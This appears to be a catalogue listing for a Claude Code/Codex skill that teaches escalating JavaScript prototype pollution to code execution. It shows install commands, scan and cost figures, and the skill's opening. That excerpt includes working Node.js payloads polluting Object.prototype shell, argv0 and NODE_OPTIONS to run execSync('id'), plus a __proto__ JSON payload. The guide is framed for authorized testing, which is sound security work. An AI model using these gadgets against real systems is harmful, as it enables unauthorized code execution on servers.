prototype-pollution-advanced

prototype-pollution-advanced is a skill for Claude Code, Codex from JustineDevs/premortem. It costs 59 tokens per session (3,030 once invoked), scanned A, a copy of prototype-pollution-advanced, Apache-2.0.

An advanced security guide for prototype pollution, a JavaScript flaw where attacker-controlled properties can alter shared object behavior. It focuses on turning confirmed pollution into code execution or browser-side attacks through framework and library features.

In plain words
What is it for?
Use it to test server-side code-execution paths, client-side script gadgets, filter bypasses, and framework-specific prototype-pollution behavior in authorized assessments.
Why use it?
It helps assess the impact of a prototype-pollution bug after it has been found. The guide covers common escalation paths such as template engines and Node.js process execution.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: installed under .agents/ (shared by several agents).

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is **AI LOAD INSTRUCTION**: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadg.

Good fit Use it to test server-side code-execution paths, client-side script gadgets, filter bypasses, and framework-specific prototype-pollution behavior in authorized assessments.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/JustineDevs/premortem
agentmods
npx agentmods add skills/justinedevs/premortem/prototype-pollution-advanced

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for prototype-pollution-advanced

README.md
[![agentmods](https://agentmods.dev/badge/skills/justinedevs/premortem/prototype-pollution-advanced/github.svg)](https://agentmods.dev/skills/justinedevs/premortem/prototype-pollution-advanced)
Your own site
<a href="https://agentmods.dev/skills/justinedevs/premortem/prototype-pollution-advanced"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/prototype-pollution-advanced/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for prototype-pollution-advanced

Your own site · 80×15
<a href="https://agentmods.dev/skills/justinedevs/premortem/prototype-pollution-advanced"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/prototype-pollution-advanced.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 59 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,030 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00059 $0.03030
Opus 5 $0.00030 $0.01515
Sonnet 5 $0.00012 $0.00606
Haiku 4.5 $0.00006 $0.00303

Measured 6d ago against content hash 10b2f3c19818, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade A, and why

prototype-pollution-advanced scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

> **AI LOAD INSTRUCTION**: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, a
Origin

This is a copy

100% identical to prototype-pollution-advanced — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

.agents/skills/prototype-pollution-advanced/SKILL.md · 339 lines

How it starts

The opening of the file, as written. The whole thing — 339 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation

AI LOAD INSTRUCTION: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load ../prototype-pollution/SKILL.md first for fundamentals (merge sinks, __proto__ vs constructor.prototype, basic probes).

Advanced Reference

Load KNOWN_GADGETS.md for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.


1. SERVER-SIDE PP → RCE

1.1 Node.js child_process.spawn — Shell/ENV Injection

When child_process.spawn or child_process.fork is called without explicit env/shell options, it inherits from Object.prototype:

// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls');  // inherits shell, env from prototype

// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code

Alternative ENV pollution:

{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}

1.2 EJS (Embedded JavaScript Templates)

EJS render() reads opts from object properties. Polluting outputFunctionName injects code into the compiled template function:

Read the full file on GitHub · 339 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 339 lines · 59 tokens per session scan A 10b2f3c19818

Subscribe to this mod's changes

prototype-pollution-advanced is a skill published in the GitHub repository JustineDevs/premortem (2 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 59 tokens to every session and 3,030 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (runs shell commands). It is 100% identical to prototype-pollution-advanced, differing in 0 lines, and is treated as a copy.

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